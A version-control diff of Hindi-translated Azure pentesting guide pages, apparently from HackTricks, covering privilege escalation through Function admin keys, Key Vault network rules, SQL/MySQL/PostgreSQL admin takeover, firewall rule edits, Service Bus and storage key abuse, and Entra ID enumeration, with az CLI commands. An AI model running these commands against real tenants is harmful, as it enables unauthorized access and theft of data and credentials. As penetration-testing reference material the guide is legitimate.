इस अनुमति के साथ यह संभव है [**व्यवस्थापक टोकन**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) प्राप्त करना, जिसे बाद में **मास्टर कुंजी** प्राप्त करने के लिए उपयोग किया जा सकता है और इसलिए फ़ंक्शन के कोड को एक्सेस और संशोधित किया जा सकता है।
इस अनुमति के साथ यह संभव है [**व्यवस्थापक टोकन** प्राप्त करें](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) जिसे बाद में **मास्टर कुंजी** प्राप्त करने के लिए उपयोग किया जा सकता है और इसलिए फ़ंक्शन के कोड को एक्सेस और संशोधित किया जा सकता है।
हालांकि, मेरी अंतिम जांचों में कोई टोकन वापस नहीं किया गया, इसलिए यह निष्क्रिय या अब काम नहीं कर रहा हो सकता है, लेकिन यहाँ यह है कि आप इसे कैसे करेंगे:
हालांकि, मेरी अंतिम जांचों में कोई टोकन वापस नहीं किया गया, इसलिए यह संभव है कि यह अक्षम हो या अब काम न कर रहा हो, लेकिन यहाँ यह है कि आप इसे कैसे करेंगे:
```bash
# Get admin token
az rest --method GET \
@@ -321,7 +321,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
यह अनुमति **फंक्शंस को सक्षम** करने की अनुमति देती है जो कि अक्षम हो सकत हैं (या उन्हें अक्षम कर सकती है)।
यह अनुमति **फंक्शंस को सक्षम** करने की अनुमति देती है जो कि अक्षम हो सकत हैं (या उन्हें अक्षम कर सकती है)।
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -352,7 +352,7 @@ az functionapp identity assign \
```
### Remote Debugging
यह भी संभव है कि एक चल रहे Azure फ़ंक्शन को डिबग करने के लिए कनेक्ट किया जाए जैसे कि [**दस्तावेज़ों में समझाया गया है**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)। हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा यदि डेवलपर कमजोर कॉन्फ़िगरेशन छोड़ने से बचने के लिए भूल जाता है।
यह भी संभव है कि एक चल रहे Azure फ़ंक्शन को [**दस्तावेज़ों में समझाया गया**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs) के रूप में डिबग करने के लिए कनेक्ट किया जाए। हालाँकि, डिफ़ॉल्ट रूप से Azure इस विकल्प को 2 दिनों में बंद कर देगा यदि डेवलपर कमजोर कॉन्फ़िगरेशन छोड़ने से बचने के लिए भूल जाता है।
यह जांचना संभव है कि क्या किसी फ़ंक्शन में डिबगिंग सक्षम है:
```bash
@@ -365,7 +365,7 @@ az functionapp config set --remote-debugging-enabled=True --name <app-name> --re
### Change Github repo
मैंने निम्नलिखित कमांड्स को निष्पादित करके उस Github रिपॉजिटरी को बदलने की कोशिश की जहाँ से डिप्लॉयमेंट हो रहा है, लेकिन भले ही यह बदल गया, **नया कोड लोड नहीं हुआ** (संभवतः क्योंकि यह Github Action से कोड को अपडेट करने की उम्मीद कर रहा है)।\
इसके अलावा, **प्रबंधित पहचान संघीय क्रेडेंशियल अपडेट नहीं हुआ** जिससे नई रिपॉजिटरी की अनुमति नहीं मिली, इसलिए ऐसा लगता है कि यह बहुत उपयोगी नहीं है
इसके अलावा, **प्रबंधित पहचान संघीय क्रेडेंशियल अपडेट नहीं हुआ** जिससे नई रिपॉजिटरी की अनुमति नहीं मिली, इसलिए यह बहुत उपयोगी नहीं लगता
```bash
# Remove current
az functionapp deployment source delete \

View File

@@ -29,4 +29,14 @@ az keyvault set-policy \
--certificate-permissions all \
--storage-permissions all
```
### Modify Network Restrictions
यह संभव है कि आपके पास संवेदनशील डेटा (जैसे एक रहस्य का मान) तक पहुँचने के लिए पर्याप्त अनुमतियाँ हों, लेकिन आप इसे एक्सेस नहीं कर पा रहे हैं क्योंकि की वॉल्ट एक विशिष्ट नेटवर्क तक सीमित है। यदि आपके पास नेटवर्क प्रतिबंधों को संशोधित करने की अनुमति है, तो आप अपनी IP को अनुमत IPs की सूची में जोड़ सकते हैं।
```bash
# Get the current network restrictions
az keyvault network-rule list --name <vault-name>
# Add your IP to the list
az keyvault network-rule add --name <vault-name> --ip-address <your-ip>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -33,7 +33,7 @@ az rest \
--headers "Content-Type=application/json"
```
### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
इन अनुमतियों के साथ, आप ZIP फ़ाइल तैनाती का उपयोग करके Logic App वर्कफ़्लो तैनात कर सकते हैं। ये अनुमतियाँ ऐप विवरण पढ़ने, प्रकाशन क्रेडेंशियल्स तक पहुँचने, परिवर्तनों को लिखने और ऐप कॉन्फ़िगरेशन की सूची बनाने जैसी क्रियाओं को सक्षम बनाती हैं। प्रारंभ अनुमतियों के साथ, आप इच्छित सामग्री के साथ एक नया Logic App अपडेट और तैनात कर सकते हैं।
इन अनुमतियों के साथ, आप ZIP फ़ाइल तैनाती का उपयोग करके Logic App कार्यप्रवाह तैनात कर सकते हैं। ये अनुमतियाँ ऐप विवरण पढ़ने, प्रकाशन क्रेडेंशियल्स तक पहुँचने, परिवर्तनों को लिखने और ऐप कॉन्फ़िगरेशन की सूची बनाने जैसी क्रियाओं को सक्षम बनाती हैं। प्रारंभ अनुमतियों के साथ, आप इच्छित सामग्री के साथ एक नया Logic App अपडेट और तैनात कर सकते हैं।
```bash
az logicapp deployment source config-zip \
--name <logic_app_name> \

View File

@@ -11,7 +11,7 @@ SQL Database के बारे में अधिक जानकारी
### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write`
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस बना, अपडेट या हटा सकते हैं। इसमें नए सर्वर की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन में संशोधन, या सर्वरों को बंद करना शामिल है।
इस अनुमति के साथ, आप Azure पर MySQL Flexible Server इंस्टेंस बना, अपडेट या हटा सकते हैं। इसमें नए सर्वरों की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन में संशोधन, या सर्वरों को बंद करना शामिल है।
```bash
az mysql flexible-server create \
--name <ServerName> \
@@ -37,7 +37,7 @@ az mysql flexible-server update --resource-group <resource_group_name> --server-
```
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
इस अनुमति के साथ, आप MySQL फ्लेक्सिबल सर्वर के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका दुरुपयोग स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट करके किया जा सकता है, जो MySQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्रदान करता है। यह महत्वपूर्ण है कि फ्लेक्सिबल-सर्वर में उपयोगकर्ता असाइन किए गए प्रबंधित पहचानें हों।
इस अनुमति के साथ, आप MySQL Flexible Server के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका दुरुपयोग स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट करके किया जा सकता है, जो MySQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्रदान करता है। यह महत्वपूर्ण है कि फ्लेक्सिबल-सर्वर में उपयोगकर्ता असाइन किए गए प्रबंधित पहचानें हों।
```bash
az mysql flexible-server ad-admin create \
--resource-group <ResourceGroupName> \

View File

@@ -11,7 +11,7 @@ SQL Database के बारे में अधिक जानकारी
### `Microsoft.DBforPostgreSQL/flexibleServers/read` && `Microsoft.DBforPostgreSQL/flexibleServers/write`
इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server इंस्टेंस बना, अपडेट या हटा सकते हैं। इसमें नए सर्वरों की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन को संशोधित करना, या सर्वरों को बंद करना शामिल है।
इस अनुमति के साथ, आप Azure पर PostgreSQL Flexible Server उदाहरणों को बना, अपडेट या हटा सकते हैं। इसमें नए सर्वरों की प्रोविजनिंग, मौजूदा सर्वर कॉन्फ़िगरेशन को संशोधित करना, या सर्वरों को बंद करना शामिल है।
```bash
az postgres flexible-server create \
--name <ServerName> \
@@ -24,7 +24,7 @@ az postgres flexible-server create \
--tier <PricingTier> \
--version <PostgreSQLVersion>
```
उदाहरण के लिए, ये अनुमतियाँ PostgreSQL पासवर्ड बदलने की अनुमति देती हैं, जो कि निश्चित रूप से तब उपयोगी ह जब PostgreSQL प्रमाणीकरण सक्षम हो।
उदाहरण के लिए, ये अनुमतियाँ PostgreSQL पासवर्ड बदलने की अनुमति देती हैं, जो कि निश्चित रूप से तब उपयोगी होती हैं जब PostgreSQL प्रमाणीकरण सक्षम हो।
```bash
az postgres flexible-server update \
--resource-group <resource_group_name> \
@@ -37,7 +37,7 @@ az postgres flexible-server update --resource-group <resource_group_name> --serv
```
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read`
इस अनुमति के साथ, आप PostgreSQL Flexible Server के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका दुरुपयोग करके आप स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट कर सकते हैं, जिससे PostgreSQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्राप्त होता है। मौजूदा प्रमुख को अपडेट करना अभी समर्थित नहीं है, इसलिए यदि कोई बनाया गया है, तो आपको पहले उसे हटाना होगा।
इस अनुमति के साथ, आप PostgreSQL Flexible Server के लिए Azure Active Directory (AD) प्रशासकों को कॉन्फ़िगर कर सकते हैं। इसका लाभ उठाया जा सकता है जब आप स्वयं या किसी अन्य खाते को AD प्रशासक के रूप में सेट करते हैं, जिससे PostgreSQL सर्वर पर पूर्ण प्रशासनिक नियंत्रण प्राप्त होता है। मौजूदा प्रमुख को अपडेट करना अभी समर्थित नहीं है, इसलिए यदि कोई बनाया गया है, तो आपको पहले उसे हटाना होगा।
यह महत्वपूर्ण है कि फ्लेक्सिबल-सर्वर में उपयोगकर्ता असाइन किए गए प्रबंधित पहचानें हों।
```bash

View File

@@ -83,7 +83,7 @@ print("----------------------------")
```
### संदेश प्राप्त करें। क्रिया: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` या `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
आप PrimaryConnectionString प्राप्त कर सकते हैं, जो Service Bus namespace के लिए एक प्रमाण पत्र के रूप में कार्य करता है। इस कनेक्शन स्ट्रिंग का उपयोग करके, आप namespace के भीतर किसी भी कतार या सदस्यता से संदेश प्राप्त कर सकते हैं, जिससे संभावित संवेदनशील या महत्वपूर्ण डेटा तक पहुंच मिलती है, डेटा निकासी की अनुमति मिलती है, या संदेश प्रसंस्करण और अनुप्रयोग कार्यप्रवाह में हस्तक्षेप कर सकते हैं।
आप PrimaryConnectionString प्राप्त कर सकते हैं, जो Service Bus namespace के लिए एक क्रेडेंशियल के रूप में कार्य करता है। इस कनेक्शन स्ट्रिंग का उपयोग करके, आप namespace के भीतर किसी भी कतार या सदस्यता से संदेश प्राप्त कर सकते हैं, जिससे संभावित संवेदनशील या महत्वपूर्ण डेटा तक पहुंच मिलती है, डेटा निकासी की अनुमति मिलती है, या संदेश प्रसंस्करण और अनुप्रयोग कार्यप्रवाह में हस्तक्षेप कर सकते हैं।
```python
#You need to install the following libraries
#pip install azure-servicebus
@@ -129,7 +129,7 @@ print("----------------------------")
```
### `Microsoft.ServiceBus/namespaces/authorizationRules/read` & `Microsoft.ServiceBus/namespaces/authorizationRules/write`
यदि आपके पास ये अनुमतियाँ हैं, तो आप साझा पहुँच कुंजी पढ़कर या बनाकर विशेषाधिकार बढ़ा सकते हैं। ये कुंजी Service Bus namespace पर पूर्ण नियंत्रण की अनुमति देती हैं, जिसमें कतारों, विषयों का प्रबंधन और संदेश भेजना/प्राप्त करना शामिल है, जो संभावित रूप से भूमिका-आधारित पहुँच नियंत्रण (RBAC) को बायपास कर सकत है।
यदि आपके पास ये अनुमतियाँ हैं, तो आप साझा पहुँच कुंजी पढ़कर या बनाकर विशेषाधिकार बढ़ा सकते हैं। ये कुंजी Service Bus namespace पर पूर्ण नियंत्रण की अनुमति देती हैं, जिसमें कतारों, विषयों का प्रबंधन और संदेश भेजना/प्राप्त करना शामिल है, जो संभावित रूप से भूमिका-आधारित पहुँच नियंत्रण (RBAC) को बायपास कर सकत है
```bash
az servicebus namespace authorization-rule update \
--resource-group <MyResourceGroup> \
@@ -137,7 +137,7 @@ az servicebus namespace authorization-rule update \
--name RootManageSharedAccessKey \
--rights Manage Listen Send
```
## References
## संदर्भ
- https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues
- https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api

View File

@@ -12,7 +12,7 @@ SQL Database के बारे में अधिक जानकारी
### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
इन अनुमतियों के साथ, एक उपयोगकर्ता Azure SQL सर्वरों को अपडेट या बनाकर विशेषाधिकार वृद्धि कर सकता है और महत्वपूर्ण कॉन्फ़िगरेशन, जिसमें प्रशासनिक क्रेडेंशियल शामिल हैं, को संशोधित कर सकता है। यह अनुमति उपयोगकर्ता को सर्वर गुणों को अपडेट करने की अनुमति देती है, जिसमें SQL सर्वर प्रशासनिक पासवर्ड शामिल है, जिससे अनधिकृत पहुंच या सर्वर पर नियंत्रण प्राप्त करना संभव होता है। वे नए सर्वर भी बना सकते हैं, जो संभावित रूप से दुर्भावनापूर्ण उद्देश्यों के लिए छायादार बुनियादी ढाँचा पेश कर सकते हैं। यह विशेष रूप से महत्वपूर्ण हो जाता है जब "Microsoft Entra Authentication Only" बंद होता है, क्योंकि वे SQL-आधारित प्रमाणीकरण का लाभ उठाकर बिना किसी प्रतिबंध के पहुंच प्राप्त कर सकते हैं।
इन अनुमतियों के साथ, एक उपयोगकर्ता Azure SQL सर्वरों को अपडेट या बनाकर विशेषाधिकार वृद्धि कर सकता है और महत्वपूर्ण कॉन्फ़िगरेशन, जिसमें प्रशासनिक क्रेडेंशियल शामिल हैं, को संशोधित कर सकता है। यह अनुमति उपयोगकर्ता को सर्वर की संपत्तियों को अपडेट करने की अनुमति देती है, जिसमें SQL सर्वर प्रशासनिक पासवर्ड शामिल है, जिससे अनधिकृत पहुंच या सर्वर पर नियंत्रण प्राप्त करना संभव होता है। वे नए सर्वर भी बना सकते हैं, जो संभावित रूप से दुर्भावनापूर्ण उद्देश्यों के लिए छायादार बुनियादी ढाँचा पेश कर सकते हैं। यह विशेष रूप से महत्वपूर्ण हो जाता है जब "Microsoft Entra Authentication Only" बंद होता है, क्योंकि वे SQL-आधारित प्रमाणीकरण का लाभ उठाकर बिना किसी प्रतिबंध के पहुंच प्राप्त कर सकते हैं।
```bash
# Change the server password
az sql server update \
@@ -37,7 +37,7 @@ az sql server update \
```
### `Microsoft.Sql/servers/firewallRules/write`
एक हमलावर Azure SQL सर्वरों पर फ़ायरवॉल नियमों में हेरफेर कर सकता है ताकि अनधिकृत पहुँच की अनुमति मिल सके। इसका उपयोग विशिष्ट IP पते या पूरे IP रेंज, जिसमें सार्वजनिक IP शामिल हैं, को सर्वर पर खोलने के लिए किया जा सकता है, जिससे दुर्भावनापूर्ण अभिनेताओं के लिए पहुँच सक्षम होती है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि मौजूदा नेटवर्क सुरक्षा नियंत्रणों को बायपास करने, स्थिरता स्थापित करने, या संवेदनशील संसाधनों को उजागर करके वातावरण के भीतर पार्श्व आंदोलन को सुविधाजनक बनाने के लिए उपयोग की जा सकती है।
एक हमलावर Azure SQL सर्वरों पर फ़ायरवॉल नियमों में हेरफेर कर सकता है ताकि अनधिकृत पहुँच की अनुमति मिल सके। इसका उपयोग विशिष्ट IP पते या पूरे IP रेंज, जिसमें सार्वजनिक IP शामिल हैं, को सर्वर खोलने के लिए किया जा सकता है, जिससे दुर्भावनापूर्ण अभिनेताओं के लिए पहुँच सक्षम होती है। यह पोस्ट-एक्सप्लॉइटेशन गतिविधि मौजूदा नेटवर्क सुरक्षा नियंत्रणों को बायपास करने, स्थिरता स्थापित करने, या संवेदनशील संसाधनों को उजागर करके वातावरण के भीतर पार्श्व आंदोलन को सुविधाजनक बनाने के लिए उपयोग की जा सकती है।
```bash
# Create Firewall Rule
az sql server firewall-rule create \
@@ -55,7 +55,7 @@ az sql server firewall-rule update \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
```
इसके अलावा, `Microsoft.Sql/servers/outboundFirewallRules/delete` अनुमति आपको एक फ़ायरवॉल नियम को हटाने की अनुमति देती है।
अतिरिक्त रूप से, `Microsoft.Sql/servers/outboundFirewallRules/delete` अनुमति आपको एक फ़ायरवॉल नियम को हटाने की अनुमति देती है।
नोट: सार्वजनिक पहुंच सक्षम होना आवश्यक है
### `Microsoft.Sql/servers/ipv6FirewallRules/write`
@@ -74,7 +74,7 @@ az sql server firewall-rule create \
### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`
इन अनुमतियों के साथ आप Azure SQL Server वातावरण में SQL डेटाबेस तक पहुंचकर प्रिवेस्क कर सकते हैं और महत्वपूर्ण जानकारी प्राप्त कर सकते हैं। नीचे दिए गए कमांड का उपयोग करके, एक हमलावर या अधिकृत उपयोगकर्ता खुद को या किसी अन्य खाते को Azure AD प्रशासक के रूप में सेट कर सकता है। यदि "Microsoft Entra Authentication Only" सक्षम है, तो आप सर्वर और इसके उदाहरणों तक पहुंच सकते हैं। यहाँ SQL सर्वर के लिए Azure AD प्रशासक सेट करने का कमांड है:
इन अनुमतियों के साथ आप Azure SQL Server वातावरण में SQL डेटाबेस तक पहुंचकर प्रिवेस्क कर सकते हैं और महत्वपूर्ण जानकारी प्राप्त कर सकते हैं। नीचे दिए गए कमांड का उपयोग करके, एक हमलावर या अधिकृत उपयोगकर्ता खुद को या किसी अन्य खाते को Azure AD प्रशासक के रूप में सेट कर सकता है। यदि "Microsoft Entra Authentication Only" सक्षम है, तो आप सर्वर और इसके उदाहरणों तक पहुंच सकते हैं। यहाँ एक SQL सर्वर के लिए Azure AD प्रशासक सेट करने का कमांड है:
```bash
az sql server ad-admin create \
--server <server_name> \

View File

@@ -18,7 +18,7 @@ az storage account keys list --account-name <acc-name>
```
### `Microsoft.Storage/storageAccounts/regenerateKey/action`
इस अनुमति के साथ एक प्रिंसिपल स्टोरेज खातों के **एक्सेस कीज़** के नए गुप्त मान को नवीनीकरण और प्राप्त करने में सक्षम होगा। यह प्रिंसिपल को स्टोरेज खातों पर अपने विशेषाधिकारों को बढ़ाने की अनुमति देता है।
इस अनुमति के साथ एक प्रिंसिपल स्टोरेज खातों के **एक्सेस की** के नए गुप्त मान को नवीनीकरण और प्राप्त करने में सक्षम होगा। यह प्रिंसिपल को स्टोरेज खातों पर अपने विशेषाधिकारों को बढ़ाने की अनुमति देता है।
इसके अलावा, प्रतिक्रिया में, उपयोगकर्ता को नवीनीकृत कुंजी का मान और नवीनीकृत न होने वाली कुंजी का मान भी प्राप्त होगा:
```bash
@@ -70,7 +70,7 @@ az storage container immutability-policy update \
### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
इस अनुमति के साथ, एक हमलावर एक नए स्थानीय उपयोगकर्ता को Azure Storage खाते के लिए बना और अपडेट कर सकता है (यदि उसके पास `Microsoft.Storage/storageAccounts/localusers/read` अनुमति है), जिसमें उपयोगकर्ता की अनुमतियों और होम डायरेक्टरी को निर्दिष्ट करना शामिल है। यह अनुमति महत्वपूर्ण है क्योंकि यह हमलावर को विशिष्ट अनुमतियों जैसे पढ़ने (r), लिखने (w), हटाने (d), और सूची (l) के साथ एक स्टोरेज खाते को स्वयं को सौंपने की अनुमति देती है। इसके अतिरिक्त, जो प्रमाणीकरण विधियाँ इसका उपयोग करती हैं, वे Azure-जनित पासवर्ड और SSH कुंजी जोड़े हो सकत हैं। यह जांच नहीं की जाती है कि क्या उपयोगकर्ता पहले से मौजूद है, इसलिए आप पहले से मौजूद अन्य उपयोगकर्ताओं को ओवरराइट कर सकते हैं। हमलावर अपनी विशेषताओं को बढ़ा सकता है और स्टोरेज खाते तक SSH पहुंच प्राप्त कर सकता है, संभावित रूप से संवेदनशील डेटा को उजागर या समझौता कर सकता है।
इस अनुमति के साथ, एक हमलावर एक नए स्थानीय उपयोगकर्ता को Azure Storage खाते (जो हायरार्किकल नेमस्पेस के साथ कॉन्फ़िगर किया गया है) के लिए बना और अपडेट कर सकता है (यदि उसके पास `Microsoft.Storage/storageAccounts/localusers/read` अनुमति है), जिसमें उपयोगकर्ता की अनुमतियाँ और होम डायरेक्टरी निर्दिष्ट करना शामिल है। यह अनुमति महत्वपूर्ण है क्योंकि यह हमलावर को विशिष्ट अनुमतियों जैसे पढ़ने (r), लिखने (w), हटाने (d), और सूची (l) आदि के साथ एक स्टोरेज खाते को अपने लिए प्रदान करने की अनुमति देती है। इसके अतिरिक्त, जो प्रमाणीकरण विधियाँ इसका उपयोग करती हैं, वे Azure-जनित पासवर्ड और SSH कुंजी जोड़े हो सकत हैं। यह जांच नहीं की जाती है कि क्या कोई उपयोगकर्ता पहले से मौजूद है, इसलिए आप पहले से मौजूद अन्य उपयोगकर्ताओं को ओवरराइट कर सकते हैं। हमलावर अपनी विशेषताओं को बढ़ा सकता है और स्टोरेज खाते तक SSH पहुंच प्राप्त कर सकता है, संभावित रूप से संवेदनशील डेटा को उजागर या समझौता कर सकता है।
```bash
az storage account local-user create \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -89,7 +89,7 @@ az storage account local-user regenerate-password \
--resource-group <RESOURCE_GROUP_NAME> \
--name <LOCAL_USER_NAME>
```
Azure Blob Storage क SFTP के माध्यम से पहुँचने के लिए (is_hns_enabled को सत्य होना चाहिए) एक स्थानीय उपयोगकर्ता के माध्यम से SFTP का उपयोग करते हुए आप (आप कनेक्ट करने के लिए ssh कुंजी का भी उपयोग कर सकते हैं):
Azure Blob Storage क SFTP के माध्यम से एक्सेस करने के लिए (is_hns_enabled को true होना चाहिए) एक स्थानीय उपयोगकर्ता के माध्यम से SFTP का उपयोग करते हुए आप (आप कनेक्ट करने के लिए ssh कुंजी का भी उपयोग कर सकते हैं):
```bash
sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.windows.net
#regenerated-password

View File

@@ -4,7 +4,7 @@
## Basic Information
Azure Active Directory (Azure AD) माइक्रोसॉफ्ट की पहचान और पहुँच प्रबंधन के लिए क्लाउड-आधारित सेवा है। यह कर्मचारियों को साइन इन करने और संसाधनों तक पहुँच प्राप्त करने में सहायक है, जो संगठन के भीतर और बाहर, माइक्रोसॉफ्ट 365, Azure पोर्टल, और कई अन्य SaaS अनुप्रयोगों को शामिल करता है। Azure AD का डिज़ाइन आवश्यक पहचान सेवाओं को प्रदान करने पर केंद्रित है, जिसमें प्रमुख रूप से **authentication, authorization, and user management** शामिल हैं।
Azure Active Directory (Azure AD) माइक्रोसॉफ्ट की पहचान और पहुँच प्रबंधन के लिए क्लाउड-आधारित सेवा है। यह कर्मचारियों को साइन इन करने और संसाधनों तक पहुँच प्राप्त करने में सहायक है, जो संगठन के भीतर और बाहर, Microsoft 365, Azure पोर्टल, और कई अन्य SaaS अनुप्रयोगों को शामिल करता है। Azure AD का डिज़ाइन आवश्यक पहचान सेवाओं को प्रदान करने पर केंद्रित है, जिसमें प्रमुख रूप से **authentication, authorization, and user management** शामिल हैं।
Azure AD की प्रमुख विशेषताओं में **multi-factor authentication** और **conditional access** शामिल हैं, साथ ही अन्य माइक्रोसॉफ्ट सुरक्षा सेवाओं के साथ सहज एकीकरण। ये विशेषताएँ उपयोगकर्ता पहचान की सुरक्षा को महत्वपूर्ण रूप से बढ़ाती हैं और संगठनों को उनकी पहुँच नीतियों को प्रभावी ढंग से लागू और प्रवर्तन करने में सक्षम बनाती हैं। माइक्रोसॉफ्ट के क्लाउड सेवाओं के पारिस्थितिकी तंत्र का एक मौलिक घटक होने के नाते, Azure AD उपयोगकर्ता पहचान के क्लाउड-आधारित प्रबंधन के लिए महत्वपूर्ण है।
@@ -184,7 +184,7 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token
{{#endtab }}
{{#endtabs }}
जब आप किसी प्रोग्राम के माध्यम से **CLI** के जरिए Azure में **लॉगिन** करते हैं, तो आप **Microsoft** के एक **tenant** से संबंधित **Azure Application** का उपयोग कर रहे हैं। ये Applications, जैसे कि आप अपने खाते में बना सकते हैं, **एक क्लाइंट आईडी** रखते हैं। आप **उनमें से सभी को नहीं देख पाएंगे** जो आप कंसोल में **अनुमत एप्लिकेशन सूचियों** में देख सकते हैं, **लेकिन े डिफ़ॉल्ट रूप से अनुमत हैं**
जब आप **CLI** के माध्यम से Azure में किसी भी प्रोग्राम के साथ **लॉगिन** करते हैं, तो आप **Microsoft** के एक **tenant** से संबंधित **Azure Application** का उपयोग कर रहे हैं। ये Applications, जैसे कि आप अपने खाते में बना सकते हैं, **एक क्लाइंट आईडी** होती हैं। आप **उनमें से सभी को नहीं देख पाएंगे** जो आप कंसोल में **अनुमत एप्लिकेशन सूचियों** में देख सकते हैं, **लेकिन े डिफ़ॉल्ट रूप से अनुमत हैं**
उदाहरण के लिए, एक **powershell script** जो **प्रमाणित** करती है, एक ऐप का उपयोग करती है जिसकी क्लाइंट आईडी **`1950a258-227b-4e31-a9cf-717495945fc2`** है। भले ही ऐप कंसोल में दिखाई न दे, एक सिस्टम एडमिन उस एप्लिकेशन को **ब्लॉक कर सकता है** ताकि उपयोगकर्ता उस ऐप के माध्यम से कनेक्ट करने वाले उपकरणों का उपयोग न कर सकें।
@@ -224,7 +224,7 @@ az account tenant list
{{#endtab }}
{{#endtabs }}
### उपयोगकर्ता
### Users
Entra ID उपयोगकर्ताओं के बारे में अधिक जानकारी के लिए देखें:
@@ -792,7 +792,7 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtabs }}
> [!WARNING]
> एक ऐप जिसमें अनुमति **`AppRoleAssignment.ReadWrite`** है, **Global Admin** के रूप में **escalate** कर सकता है।\
> एक ऐप जिसमें अनुमति **`AppRoleAssignment.ReadWrite`** है, **Global Admin** में **escalate** कर सकता है।\
> अधिक जानकारी के लिए [**यहाँ देखें**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
@@ -800,9 +800,9 @@ Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
> इसलिए, यदि आप इस **पासवर्ड** को ढूंढ लेते हैं, तो आप **service principal** के रूप में **tenant** के **अंदर** पहुँच सकते हैं।\
> ध्यान दें कि यह पासवर्ड केवल उत्पन्न होने पर ही दिखाई देता है (आप इसे बदल सकते हैं लेकिन फिर से प्राप्त नहीं कर सकते)।\
> **एप्लिकेशन** का **स्वामी** इसे **पासवर्ड** जोड़ सकता है (ताकि वह इसकी नकल कर सके)।\
> इन सेवा प्रिंसिपलों के रूप में लॉगिन **जोखिमपूर्ण** के रूप में **चिह्नित** नहीं होते हैं और इनमें **MFA** नहीं होगा।
> इन service principals के रूप में लॉगिन **जोखिमपूर्ण** के रूप में **चिह्नित नहीं होते** और इनमें **MFA नहीं होगा।**
Microsoft के सामान्य उपयोग किए जाने वाले ऐप आईडी की सूची [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) पर पाई जा सकती है।
Microsoft के सामान्य उपयोग किए जाने वाले App IDs की सूची [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) पर पाई जा सकती है।
### Managed Identities
@@ -1088,9 +1088,9 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
### विशेषाधिकार पहचान प्रबंधन (PIM)
Azure में विशेषाधिकार पहचान प्रबंधन (PIM) **अधिकतम विशेषाधिकार** को उपयोगकर्ताओं को अनावश्यक रूप से सौंपने से **रोकने** में मदद करता है।
Azure में विशेषाधिकार पहचान प्रबंधन (PIM) **अधिकतम विशेषाधिकार** को अनावश्यक रूप से उपयोगकर्ताओं को सौंपने से **रोकने** में मदद करता है।
